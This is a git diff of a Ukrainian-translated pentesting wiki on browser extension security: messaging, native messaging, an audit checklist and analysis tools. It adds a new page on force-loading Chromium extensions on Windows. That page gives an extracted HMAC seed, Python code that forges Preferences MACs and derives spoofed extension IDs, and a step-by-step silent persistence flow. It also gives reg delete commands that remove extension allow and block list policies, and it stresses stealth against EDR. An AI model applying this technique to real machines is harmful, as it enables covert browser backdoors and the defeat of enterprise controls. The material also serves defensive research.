// From https://stackoverflow.com/questions/36153999/how-to-send-a-message-between-chrome-extension-popup-and-content-script
;(async () => {
@ -510,7 +514,7 @@ const response = await chrome.tabs.sendMessage(tab.id, { greeting: "hello" })
console.log(response)
})()
```
На **приймальному боці** вам потрібно налаштувати [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **слухача подій**, щоб обробити повідомлення. Це виглядає однаково з контентного скрипта або сторінки розширення.
На боці **отримувача** потрібно налаштувати [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **обробник подій**, щоб обробляти повідомлення. Це виглядає однаково як із контент-скрипта, так і зі сторінки розширення.
```javascript
// From https://stackoverflow.com/questions/70406787/javascript-send-message-from-content-js-to-background-js
chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) {
@ -522,15 +526,15 @@ sender.tab
if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
})
```
У наведеному прикладі **`sendResponse()`** було виконано синхронно. Щоб змінити обробник події `onMessage` для асинхронного виконання `sendResponse()`, необхідно додати `return true;`.
У наведеному прикладі **`sendResponse()`** виконувалася синхронно. Щоб змінити обробник події `onMessage` для асинхронного виконання `sendResponse()`, необхідно додати `return true;`.
Важливим моментом є те, що в ситуаціях, коли кілька сторінок налаштовані на отримання подій `onMessage`, **перша сторінка, яка виконає `sendResponse()`** для конкретної події, буде єдиною, яка зможе ефективно доставити відповідь. Будь-які подальші відповіді на ту ж подію не будуть враховані.
Важливо врахувати, що в ситуаціях, коли кілька сторінок налаштовані на отримання подій `onMessage`, **першою сторінкою, що виконає `sendResponse()`** для конкретної події буде єдина, яка зможе ефективно доставити відповідь. Будь-які наступні відповіді на ту саму подію не будуть враховані.
При створенні нових розширень слід віддавати перевагу промісам, а не зворотним викликам. Щодо використання зворотних викликів, функція `sendResponse()` вважається дійсною лише в тому випадку, якщо вона виконується безпосередньо в синхронному контексті або якщо обробник події вказує на асинхронну операцію, повертаючи `true`. Якщо жоден з обробників не повертає `true` або якщо функція `sendResponse()` видаляється з пам'яті (збирається сміття), зворотний виклик, пов'язаний з функцією `sendMessage()`, буде викликаний за замовчуванням.
При створенні нових розширень слід надавати перевагу promises замість callbacks. Що стосується використання callbacks, функція `sendResponse()` вважається дійсною лише якщо вона викликається безпосередньо в синхронному контексті, або якщо обробник події вказує на асинхронну операцію, повертаючи `true`. Якщо ж жоден з обробників не поверне `true` або якщо функція `sendResponse()` буде видалена з пам'яті (garbage-collected), то callback, пов'язаний з функцією `sendMessage()`, буде викликаний за замовчуванням.
## Native Messaging
Розширення браузера також дозволяють спілкуватися з **бінарними файлами в системі через stdin**. Додаток повинен встановити json, що вказує на це, у форматі json, як:
Розширення браузера також дозволяють спілкуватися з **binaries in the system via stdin**. Додаток має встановити json, який це вказує, у json такого вигляду:
```json
{
"name": "com.my_company.my_application",
@ -540,14 +544,14 @@ if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
"allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"]
}
```
Де `name` - це рядок, переданий до [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) або [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) для зв'язку з додатком з фонових скриптів розширення браузера. `path` - це шлях до бінарного файлу, є лише 1 дійсний `type`, який є stdio (використовуйте stdin і stdout), а `allowed_origins` вказує на розширення, які можуть отримати доступ до нього (і не можуть мати символи підстановки).
Де `name` — рядок, який передається в [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) або [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) для спілкування з додатком із фонових скриптів розширення браузера. Поле `path` — шлях до бінарного файлу, є лише 1 дійсний `type` — stdio (use stdin and stdout), а `allowed_origins` вказує розширення, які можуть отримати до нього доступ (і не можуть містити wildcard).
Chrome/Chromium буде шукати цей json у деяких реєстрах Windows і деяких шляхах у macOS і Linux (більше інформації в [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).
Chrome/Chromium шукатиме цей json у реєстрі Windows та в деяких шляхах на macOS і Linux (more info in the [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).
> [!TIP]
> Розширення браузера також потребує дозволу `nativeMessaing`, щоб мати можливість використовувати це спілкування.
> Розширенню браузера також потрібно задекларувати дозвол `nativeMessaing`, щоб мати змогу використовувати цей канал комунікації.
Ось як виглядає код деякого фонового скрипта, що надсилає повідомлення до рідного додатку:
Ось як виглядає код фонового скрипта, що надсилає повідомлення нативному додатку:
```javascript
chrome.runtime.sendNativeMessage(
"com.my_company.my_application",
@ -557,42 +561,42 @@ console.log("Received " + response)
}
)
```
У [**цьому блозі**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/) пропонується вразливий шаблон, що зловживає нативними повідомленнями:
In [**this blog post**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/), пропонується вразливий патерн, що зловживає native messages:
1. Розширення браузера має шаблон з підстановкою для контентного скрипта.
2. Контентний скрипт передає повідомлення `postMessage` до фонового скрипта, використовуючи `sendMessage`.
3. Фоновий скрипт передає повідомлення до нативного додатку, використовуючи `sendNativeMessage`.
4. Нативний додаток обробляє повідомлення небезпечно, що призводить до виконання коду.
1. Browser extension має wildcard-патерн для content script.
2. Content script передає повідомлення через `postMessage` у background script за допомогою `sendMessage`.
3. Background script передає повідомлення у native application за допомогою `sendNativeMessage`.
4. Native application обробляє повідомлення небезпечно, що призводить до code execution.
І в ньому пояснюється приклад **переміщення з будь-якої сторінки до RCE, зловживаючи розширенням браузера**.
І всередині цього наведено приклад **як із будь-якої сторінки отримати RCE, зловживаючи browser extension**.
## Чутлива інформація в пам'яті/коді/буфері обміну
## Sensitive Information in Memory/Code/Clipboard
Якщо Розширення Браузера зберігає **чутливу інформацію в своїй пам'яті**, її можна **вивантажити** (особливо на машинах з Windows) і **пошукати** цю інформацію.
Якщо розширення браузера зберігає **чутливу інформацію у своїй пам'яті**, її можна **здампити** (особливо на Windows) і **відшукати** потрібні дані.
Отже, пам'ять Розширення Браузера **не повинна вважатися безпечною**, і **чутливу інформацію**, таку як облікові дані або мнемонічні фрази, **не слід зберігати**.
Тому пам'ять розширення **не слід вважати захищеною**, і **чутливу інформацію**, таку як облікові дані або мнемонічні фрази, **не слід зберігати**.
Звичайно, не **включайте чутливу інформацію в код**, оскільки вона буде **публічною**.
Звісно, **не зберігайте чутливу інформацію в коді**, оскільки код буде **публічним**.
Щоб вивантажити пам'ять з браузера, ви можете **вивантажити пам'ять процесу** або перейти до **налаштувань** розширення браузера, натиснувши **`Inspect pop-up`** -> У розділі **`Memory`** -> **`Take a snapshot`** і **`CTRL+F`** для пошуку чутливої інформації в знімку.
Щоб здампити пам'ять браузера, можна **дампнути процесну пам'ять** або у налаштуваннях розширення перейти на **`Inspect pop-up`** -> у секції **`Memory`** -> **`Take a snaphost`** і скористатися **`CTRL+F`**, щоб шукати чутливу інформацію в знімку.
Більш того, надзвичайно чутлива інформація, така як мнемонічні ключі або паролі, **не повинна дозволятися для копіювання в буфер обміну** (або принаймні видаляти її з буфера обміну через кілька секунд), оскільки тоді процеси, що моніторять буфер обміну, зможуть їх отримати.
Крім того, надзвичайно чутливі дані, як-от мнемонічні ключі чи паролі, **не слід дозволяти копіювати у буфер обміну** (або принаймні видаляти їх з буфера обміну через кілька секунд), оскільки процеси, що моніторять буфер обміну, зможуть їх отримати.
## Завантаження розширення в браузері
## Loading an Extension in the Browser
1. **Завантажте** Розширення Браузера та розпакуйте його.
2. Перейдіть до **`chrome://extensions/`** і **увімкніть** `Режим розробника`.
3. Натисніть кнопку **`Завантажити розпаковане`**.
1. **Download** розширення браузера & розпакуйте
2. Перейдіть на **`chrome://extensions/`** і **увімкніть** `Developer Mode`
3. Натисніть кнопку **`Load unpacked`**
У **Firefox** перейдіть до **`about:debugging#/runtime/this-firefox`** і натисніть кнопку **`Завантажити тимчасове доповнення`**.
У **Firefox** перейдіть на **`about:debugging#/runtime/this-firefox`** і натисніть кнопку **`Load Temporary Add-on`**.
## Отримання вихідного коду з магазину
## Getting the source code from the store
Вихідний код розширення Chrome можна отримати різними способами. Нижче наведені детальні пояснення та інструкції для кожного варіанту.
### Завантаження розширення як ZIP через командний рядок
### Download Extension as ZIP via Command Line
Вихідний код розширення Chrome можна завантажити як ZIP-файл, використовуючи командний рядок. Це передбачає використання `curl` для отримання ZIP-файлу з певного URL, а потім розпакування вмісту ZIP-файлу в каталог. Ось кроки:
Вихідний код розширення Chrome можна завантажити у вигляді ZIP-файлу за допомогою командного рядка. Це передбачає використання `curl` для отримання ZIP-файлу за певним URL, а потім розпакування вмісту ZIP у директорію. Ось кроки:
1. Замініть `"extension_id"` на фактичний ID розширення.
2. Виконайте наступні команди:
@ -607,92 +611,100 @@ unzip -d "$extension_id-source" "$extension_id.zip"
### Використовуйте розширення CRX Viewer
Ще один зручний метод - це використання Chrome Extension Source Viewer, який є проектом з відкритим кодом. Його можна встановити з [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). Код джерела переглядача доступний у його [GitHub репозиторії](https://github.com/Rob--W/crxviewer).
Інший зручний спосіб — використати Chrome Extension Source Viewer, який є open-source проектом. Його можна встановити з [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). Вихідний код viewer доступний у його [GitHub repository](https://github.com/Rob--W/crxviewer).
### Перегляд коду локально встановленого розширення
Локально встановлені розширення Chrome також можна перевірити. Ось як:
Локально встановлені Chrome розширення також можна інспектувати. Ось як:
1. Доступ до вашого локального профілю Chrome, відвідавши `chrome://version/` і знайдіть поле "Profile Path".
2. Перейдіть до підпапки `Extensions/` у каталозі профілю.
3. Ця папка містить всі встановлені розширення, зазвичай з їхнім кодом у читабельному форматі.
1. Отримайте доступ до локальної папки профілю Chrome, перейшовши на `chrome://version/` і знайдіть поле "Profile Path".
2. Перейдіть у підпапку `Extensions/` у каталозі профілю.
3. Ця папка містить всі встановлені розширення, зазвичай з їхнім вихідним кодом у читаному форматі.
Щоб ідентифікувати розширення, ви можете зіставити їхні ID з іменами:
Щоб ідентифікувати розширення, ви можете зіставити їхні ID з назвами:
- Увімкніть режим розробника на сторінці `about:extensions`, щоб побачити ID кожного розширення.
- У кожній папці розширення файл `manifest.json` містить читабельне поле `name`, що допомагає вам ідентифікувати розширення.
- Увімкніть Developer Mode на сторінці `about:extensions`, щоб побачити ID кожного розширення.
- У кожній папці розширення файл `manifest.json` містить читабельне поле `name`, що допоможе вам ідентифікувати розширення.
### Використовуйте архіватор файлів або розпаковувач
### Використовуйте File Archiver або Unpacker
Перейдіть до Chrome Web Store і завантажте розширення. Файл матиме розширення `.crx`. Змініть розширення файлу з `.crx` на `.zip`. Використовуйте будь-який архіватор файлів (такий як WinRAR, 7-Zip тощо), щоб витягти вміст ZIP-файлу.
Зайдіть у Chrome Web Store і скачаєте розширення. Файл матиме розширення `.crx`. Змініть розширення файлу з `.crx` на `.zip`. Використайте будь-який архіватор (наприклад, WinRAR, 7-Zip тощо), щоб розпакувати вміст ZIP-файлу.
### Використовуйте режим розробника в Chrome
### Використовуйте Developer Mode у Chrome
Відкрийте Chrome і перейдіть до `chrome://extensions/`. Увімкніть "Режим розробника" у верхньому правому куті. Натисніть "Завантажити розпаковане розширення...". Перейдіть до каталогу вашого розширення. Це не завантажує код джерела, але корисно для перегляду та модифікації коду вже завантаженого або розробленого розширення.
Відкрийте Chrome і перейдіть до `chrome://extensions/`. Увімкніть "Developer mode" у верхньому правому куті. Натисніть "Load unpacked extension...". Перейдіть до директорії вашого розширення. Це не завантажує вихідний код, але корисно для перегляду та модифікації коду вже завантаженого або розробленого розширення.
## Набір даних маніфестів розширень Chrome
## Chrome extension manifest dataset
Щоб спробувати виявити вразливі розширення браузера, ви можете використовувати [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) і перевірити їхні файли маніфестів на потенційно вразливі ознаки. Наприклад, щоб перевірити розширення з більш ніж 25000 користувачів, `content_scripts` та дозволом `nativeMessaing`:
Щоб спробувати знайти вразливі browser extensions, ви можете використати the[https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) і перевірити їхні manifest файли на потенційні ознаки вразливостей. Наприклад, щоб перевірити розширення з більш ніж 25000 users, `content_scripts` та permission `nativeMessaing`:
```bash
# Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/
node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"
```
## Перевірочний список безпеки
## Post-exploitation: Forced extension load & persistence (Windows)
Навіть якщо розширення браузера має **обмежену поверхню атаки**, деякі з них можуть містити **вразливості** або **потенційні поліпшення безпеки**. Найбільш поширені з них:
Stealthy техніка для backdoor-ування Chromium шляхом прямого редагування per-user Preferences і підробки валідних HMACs, що призводить до того, що браузер приймає та активує довільне unpacked extension без підказок або прапорців.
- [ ] **Обмежити** запитувані **`permissions`** якомога більше
- [ ] **Обмежити** **`host_permissions`** якомога більше
- [ ] Використовувати **сильну** **`content_security_policy`**
- [ ] **Обмежити** **`externally_connectable`** якомога більше, якщо це не потрібно і можливо, не залишайте його за замовчуванням, вкажіть **`{}`**
- [ ] Якщо тут згадується **URL, вразливий до XSS або захоплення**, зловмисник зможе **надсилати повідомлення безпосередньо до фонових скриптів**. Дуже потужний обхід.
- [ ] **Обмежити** **`web_accessible_resources`** якомога більше, навіть порожні, якщо можливо.
- [ ] Якщо **`web_accessible_resources`** не порожнє, перевірте на [**ClickJacking**](browext-clickjacking.md)
- [ ] Якщо відбувається будь-яка **комунікація** від **розширення** до **веб-сторінки**, [**перевірте на XSS**](browext-xss-example.md) **вразливості**, викликані в комунікації.
- [ ] Якщо використовуються повідомлення Post, перевірте на [**вразливості Post Message**](../postmessage-vulnerabilities/index.html)**.**
- [ ] Якщо **Content Script отримує доступ до деталей DOM**, перевірте, що вони **не вводять XSS**, якщо їх **модифікують** веб
- [ ] Зробіть особливий акцент, якщо ця комунікація також залучена в **комунікацію Content Script -> фоновий скрипт**
- [ ] Якщо фоновий скрипт спілкується через **native messaging**, перевірте, що комунікація є безпечною та очищеною
- [ ] **Чутливу інформацію не слід зберігати** всередині коду розширення браузера
- [ ] **Чутливу інформацію не слід зберігати** всередині пам'яті розширення браузера
- [ ] **Чутливу інформацію не слід зберігати** всередині **файлової системи без захисту**
{{#ref}}
forced-extension-load-preferences-mac-forgery-windows.md
{{#endref}}
## Ризики розширення браузера
## Контрольний список аудиту безпеки
- Додаток [https://crxaminer.tech/](https://crxaminer.tech/) аналізує деякі дані, такі як дозволи, які запитує розширення браузера, щоб надати рівень ризику використання розширення браузера.
Навіть якщо розширення браузера мають **обмежену attack surface**, деякі з них можуть містити **вразливості** або **можливості для покращення hardening'у**. Наведені нижче — найпоширеніші:
- [ ] **Limit** as much as possible requested **`permissions`**
- [ ] **Limit** as much as possible **`host_permissions`**
- [ ] Use a **strong** **`content_security_policy`**
- [ ] **Limit** as much as possible the **`externally_connectable`**, if none is needed and possible, do not leave it by default, specify **`{}`**
- [ ] If **URL vulnerable to XSS or to takeover** is mentioned here, an attacker will be able to **send messages to the background scripts directly**. Very powerful bypass.
- [ ] **Limit** as much as possible the **`web_accessible_resources`**, even empty if possible.
- [ ] If **`web_accessible_resources`** is not none, check for [**ClickJacking**](browext-clickjacking.md)
- [ ] If any **communication** occurs from the **extension** to the **web page**, [**check for XSS**](browext-xss-example.md) **vulnerabilities** caused in the communication.
- [ ] If Post Messages are used, check for [**Post Message vulnerabilities**](../postmessage-vulnerabilities/index.html)**.**
- [ ] If the **Content Script access DOM details**, check that they **aren't introducing a XSS** if they get **modified** by the web
- [ ] Make a special emphasis if this communication is also involved in the **Content Script -> Background script communication**
- [ ] If the background script is communicating via **native messaging** check the communication is secure and sanitized
- [ ] **Sensitive information shouldn't be stored** inside the Browser Extension **code**
- [ ] **Sensitive information shouldn't be stored** inside the Browser Extension **memory**
- [ ] **Sensitive information shouldn't be stored** inside the **file system unprotected**
## Ризики розширень браузера
- The app [https://crxaminer.tech/](https://crxaminer.tech/) analyzes some data like the permissions browser extension requests to give a risk level of using the browser extension.
## Інструменти
### [**Tarnish**](https://thehackerblog.com/tarnish/)
- Завантажує будь-яке розширення Chrome з наданого посилання на веб-магазин Chrome.
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **переглядач**: просто відображає версію JSON з форматуванням розширення.
- **Аналіз відбитків**: Виявлення [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) та автоматичне генерування JavaScript для відбитків розширення Chrome.
- **Аналіз потенційного Clickjacking**: Виявлення HTML-сторінок розширення з директивою [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources). Вони можуть бути вразливими до clickjacking в залежності від мети сторінок.
- **Переглядач попереджень про дозволи**: який показує список усіх попереджень про запити дозволів Chrome, які будуть відображені при спробі користувача встановити розширення.
- **Небезпечні функції**: показує місце розташування небезпечних функцій, які можуть бути потенційно використані зловмисником (наприклад, функції, такі як innerHTML, chrome.tabs.executeScript).
- **Точки входу**: показує, де розширення приймає вхідні дані від користувача/зовнішні дані. Це корисно для розуміння поверхні розширення та пошуку потенційних точок для надсилання зловмисно створених даних до розширення.
- Як сканери Небезпечних функцій, так і Точок входу мають наступне для своїх згенерованих сповіщень:
- Відповідний фрагмент коду та рядок, що викликав сповіщення.
- Опис проблеми.
- Кнопка "Переглянути файл" для перегляду повного вихідного файлу, що містить код.
- Шлях до сповіщеного файлу.
- Повний URI розширення Chrome сповіщеного файлу.
- Тип файлу, наприклад, скрипт фонової сторінки, скрипт контенту, дія браузера тощо.
- Якщо вразливий рядок знаходиться в JavaScript-файлі, шляхи всіх сторінок, де він включений, а також типи цих сторінок і статус [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources).
- **Аналізатор політики безпеки контенту (CSP) та перевірка обходу**: Це вказуватиме на слабкі місця в CSP вашого розширення та також виявлятиме будь-які потенційні способи обходу вашого CSP через білих CDN тощо.
- **Відомі вразливі бібліотеки**: Це використовує [Retire.js](https://retirejs.github.io/retire.js/) для перевірки наявності використання відомих вразливих JavaScript-бібліотек.
- Завантажити розширення та відформатовані версії.
- Завантажити оригінальне розширення.
- Завантажити покращену версію розширення (автоформатований HTML та JavaScript).
- Автоматичне кешування результатів сканування, запуск сканування розширення займе багато часу під час першого запуску. Однак під час другого запуску, якщо розширення не було оновлено, це буде майже миттєво через кешовані результати.
- Посилання на звіти, які легко посилати комусь іншому на звіт про розширення, згенерований tarnish.
- Pulls any Chrome extension from a provided Chrome webstore link.
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **viewer**: simply displays a JSON-prettified version of the extensions manifest.
- **Fingerprint Analysis**: Detection of [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) and automatic generation of Chrome extension fingerprinting JavaScript.
- **Potential Clickjacking Analysis**: Detection of extension HTML pages with the [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) directive set. These are potentially vulnerable to clickjacking depending on the purpose of the pages.
- **Permission Warning(s) viewer**: which shows a list of all the Chrome permission prompt warnings which will be displayed upon a user attempting to install the extension.
- **Dangerous Function(s)**: shows the location of dangerous functions which could potentially be exploited by an attacker (e.g. functions such as innerHTML, chrome.tabs.executeScript).
- **Entry Point(s)**: shows where the extension takes in user/external input. This is useful for understanding an extensions surface area and looking for potential points to send maliciously-crafted data to the extension.
- Both the Dangerous Function(s) and Entry Point(s) scanners have the following for their generated alerts:
- Relevant code snippet and line that caused the alert.
- Description of the issue.
- A “View File” button to view the full source file containing the code.
- The path of the alerted file.
- The full Chrome extension URI of the alerted file.
- The type of file it is, such as a Background Page script, Content Script, Browser Action, etc.
- If the vulnerable line is in a JavaScript file, the paths of all of the pages where it is included as well as these pages type, and [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) status.
- **Content Security Policy (CSP) analyzer and bypass checker**: This will point out weaknesses in your extensions CSP and will also illuminate any potential ways to bypass your CSP due to whitelisted CDNs, etc.
- **Known Vulnerable Libraries**: This uses [Retire.js](https://retirejs.github.io/retire.js/) to check for any usage of known-vulnerable JavaScript libraries.
- Download extension and formatted versions.
- Download the original extension.
- Download a beautified version of the extension (auto prettified HTML and JavaScript).
- Automatic caching of scan results, running an extension scan will take a good amount of time the first time you run it. However the second time, assuming the extension hasnt been updated, will be almost instant due to the results being cached.
- Linkable Report URLs, easily link someone else to an extension report generated by tarnish.
### [Neto](https://github.com/elevenpaths/neto)
Проект Neto - це пакет Python 3, призначений для аналізу та виявлення прихованих функцій плагінів і розширень браузера для відомих браузерів, таких як Firefox і Chrome. Він автоматизує процес розпакування упакованих файлів для вилучення цих функцій з відповідних ресурсів у розширенні, таких як `manifest.json`, папки локалізації або вихідні файли Javascript і HTML.
Project Neto is a Python 3 package conceived to analyse and unravel hidden features of browser plugins and extensions for well-known browsers such as Firefox and Chrome. It automates the process of unzipping the packaged files to extract these features from relevant resources in a extension like `manifest.json`, localization folders or Javascript and HTML source files.
## Посилання
## References
- **Дякуємо** [**@naivenom**](https://twitter.com/naivenom) **за допомогу з цією методологією**
- [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing)

View File

@ -0,0 +1,208 @@
# Forced Extension Load & Preferences MAC Forgery (Windows)
{{#include ../../banners/hacktricks-training.md}}
## Огляд
Стелс post-exploitation technique для force-load arbitrary extensions у Chromium-based browsers на Windows шляхом редагування Preferences/Secure Preferences користувача та підробки дійсних HMACs для змінених вузлів. Працює проти Chrome/Chromium, Edge і Brave. Спостерігалось, що застосовно для Chromium 130139 на момент публікації. Простий disk write primitive у victim profile достатній, щоб зберегти full-privileged extension без command-line flags або user prompts.
> Ключова ідея: Chromium зберігає стан розширень для кожного користувача в JSON preferences file і захищає його HMAC-SHA256. Якщо ви обчислите дійсні MACs з використанням браузерного embedded seed і запишете їх поруч із вашими injected nodes, браузер прийме і активує ваш extension entry.
## Де зберігається стан розширення (Windows)
- Chrome профіль, не приєднаний до домену:
- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Secure Preferences (містить кореневий "super_mac").
- Chrome профіль, приєднаний до домену:
- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Preferences
- Ключові вузли, що використовує Chromium:
- extensions.settings.<extension_id> → вбудований manifest/metadata для запису розширення
- protection.macs.extensions.settings.<extension_id> → HMAC для цього JSON blob
- Chromium ≥134: extensions.ui.developer_mode (boolean) має бути присутнім і MACsigned для активації unpacked extensions
Спрощена схема (ілюстративно):
```json
{
"extensions": {
"settings": {
"<extension_id>": {
"name": "Extension name",
"manifest_version": 3,
"version": "1.0",
"key": "<BASE64 DER SPKI>",
"path": "<absolute path if unpacked>",
"state": 1,
"from_bookmark": false,
"was_installed_by_default": false
// ...rest of manifest.json + required install metadata
}
},
"ui": { "developer_mode": true }
},
"protection": {
"macs": {
"extensions": {
"settings": { "<extension_id>": "<MAC>" },
"ui": { "developer_mode": "<MAC>" }
}
}
}
}
```
Примітки:
- Edge/Brave використовують подібні структури. Значення protection seed може відрізнятися (у деяких збірках спостерігалося, що Edge/Brave використовують null/інший seed).
## Ідентифікатори розширень: шлях проти key і як зробити їх детермінованими
Chromium отримує ID розширення таким чином:
- Паковане/підписане розширення: ID = SHA256 over DERencoded SubjectPublicKeyInfo (SPKI) → take first 32 hex chars → map 0f to ap
- Непаковане (немає key у manifest): ID = SHA256 over the absolute installation path bytes → map 0f to ap
Щоб зберегти стабільний ID між хостами, вбудуйте фіксований base64 DER public key у manifest.json під "key". ID буде похідним від цього ключа замість шляху інсталяції.
Утиліта для генерації детермінованого ID та пари ключів:
```python
import base64
import hashlib
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
def translate_crx_id(s: str) -> str:
t = {'0':'a','1':'b','2':'c','3':'d','4':'e','5':'f','6':'g','7':'h','8':'i','9':'j','a':'k','b':'l','c':'m','d':'n','e':'o','f':'p'}
return ''.join(t.get(c, c) for c in s)
def generate_extension_keys() -> tuple[str,str,str]:
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = priv.public_key()
spki = pub.public_bytes(encoding=serialization.Encoding.DER,
format=serialization.PublicFormat.SubjectPublicKeyInfo)
crx_id = translate_crx_id(hashlib.sha256(spki).digest()[:16].hex())
pub_b64 = base64.b64encode(spki).decode('utf-8')
priv_der = priv.private_bytes(encoding=serialization.Encoding.DER,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption())
priv_b64 = base64.b64encode(priv_der).decode('utf-8')
return crx_id, pub_b64, priv_b64
print(generate_extension_keys())
```
Додайте згенерований public key до вашого manifest.json, щоб зафіксувати ID:
```json
{
"manifest_version": 3,
"name": "Synacktiv extension",
"version": "1.0",
"key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2lMCg6..."
}
```
## Forging Preferences integrity MACs (core bypass)
Chromium захищає налаштування за допомогою HMACSHA256 над "path" + серіалізованим JSON-значенням кожного вузла. Насіння HMAC вбудоване в resources.pak браузера і залишалося дійсним до Chromium 139.
Екстрагуйте seed за допомогою GRIT pak_util та знайдіть контейнер seed (file id 146 у протестованих збірках):
```bash
python3 pak_util.py extract resources.pak -o resources_v139/
python3 pak_util.py extract resources.pak -o resources_v139_dirty/
# compare a clean vs minimally modified resources.pak to spot the seed holder
xxd -p resources_v139/146
# e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8
```
Обчислюйте MACs (у верхньому регістрі шістнадцяткового формату) як:
```text
ext_mac = HMAC_SHA256(seed,
"extensions.settings.<crx_id>" + json.dumps(<settings_json>))
devmode_mac = HMAC_SHA256(seed,
"extensions.ui.developer_mode" + ("true" or "false"))
```
Мінімальний приклад на Python:
```python
import json, hmac, hashlib
def mac_upper(seed_hex: str, pref_path: str, value) -> str:
seed = bytes.fromhex(seed_hex)
# Compact JSON to match Chromium serialization closely
val = json.dumps(value, separators=(',', ':')) if not isinstance(value, str) else value
msg = (pref_path + val).encode('utf-8')
return hmac.new(seed, msg, hashlib.sha256).hexdigest().upper()
# Example usage
settings_path = f"extensions.settings.{crx_id}"
devmode_path = "extensions.ui.developer_mode"
ext_mac = mac_upper(seed_hex, settings_path, settings_json)
devmode_mac = mac_upper(seed_hex, devmode_path, "true")
```
Запишіть значення у:
- protection.macs.extensions.settings.<crx_id> = ext_mac
- protection.macs.extensions.ui.developer_mode = devmode_mac (Chromium ≥134)
Відмінності між браузерами: у Microsoft Edge та Brave seed може бути null або іншим. Структура HMAC залишається та сама; відповідно підлаштуйте seed.
> Поради щодо реалізації
> - Використовуйте саме ту JSON-серіалізацію, яку використовує Chromium при обчисленні MACs (компактний JSON без пробілів практично безпечний; сортування ключів може допомогти уникнути проблем із порядком).
> - Переконайтеся, що extensions.ui.developer_mode існує і підписаний у Chromium ≥134, інакше ваш unpacked entry не активується.
## Повний безшумний потік завантаження (Windows)
1) Згенеруйте детерміністичний ID і вбудуйте "key" у manifest.json; підготуйте unpacked MV3 extension з потрібними дозволами (service worker/content scripts)
2) Створіть extensions.settings.<id>, вбудувавши manifest і мінімальні install metadata, потрібні Chromium (state, path for unpacked тощо)
3) Витягніть HMAC seed з resources.pak (file 146) і обчисліть два MACs: один для вузла settings і один для extensions.ui.developer_mode (Chromium ≥134)
4) Запишіть сформовані вузли і MACs у Preferences/Secure Preferences профілю цілі; наступний запуск автоматично активує ваше extension із повними задекларованими привілеями
## Обхід корпоративних контролів
- Whitelisted extension hash spoofing (ID spoofing)
1) Встановіть дозволений Web Store extension і запишіть його ID
2) Отримайте його public key (наприклад, через chrome.runtime.getManifest().key у background/service worker або шляхом отримання/парсингу його .crx)
3) Встановіть цей key як manifest.key у вашому зміненому extension, щоб відтворити той самий ID
4) Зареєструйте запис у Preferences і підпишіть MACs → ExtensionInstallAllowlist перевірки, що збігаються лише за ID, будуть обійдені
- Extension stomping (ID collision precedence)
- Якщо локальний unpacked extension має той самий ID, що й встановлений Web Store extension, Chromium віддає перевагу unpacked. Це фактично замінює легітимний extension у chrome://extensions, зберігаючи довірений ID. Перевірено на Chrome та Edge (наприклад, Adobe PDF)
- Neutralizing GPO via HKCU (requires admin)
- Chrome/Edge policies знаходяться під HKCU\Software\Policies\*
- Маючи права admin, видаліть/змініть ключі політик перед записом ваших записів, щоб уникнути блокувань:
```powershell
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallBlocklist" /f
```
## Шумний fallback: завантаження з командного рядка
У Chromium ≥137 для --load-extension також потрібно передавати:
```text
--disable-features=DisableLoadExtensionCommandLineSwitch
```
Цей підхід широко відомий і відстежується (наприклад, EDR/DFIR; використовується commodity malware, як Chromeloader). Preference MAC forging є більш прихованим.
Related flags and more crossplatform tricks are discussed here:
{{#ref}}
../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.md
{{#endref}}
## Операційний вплив
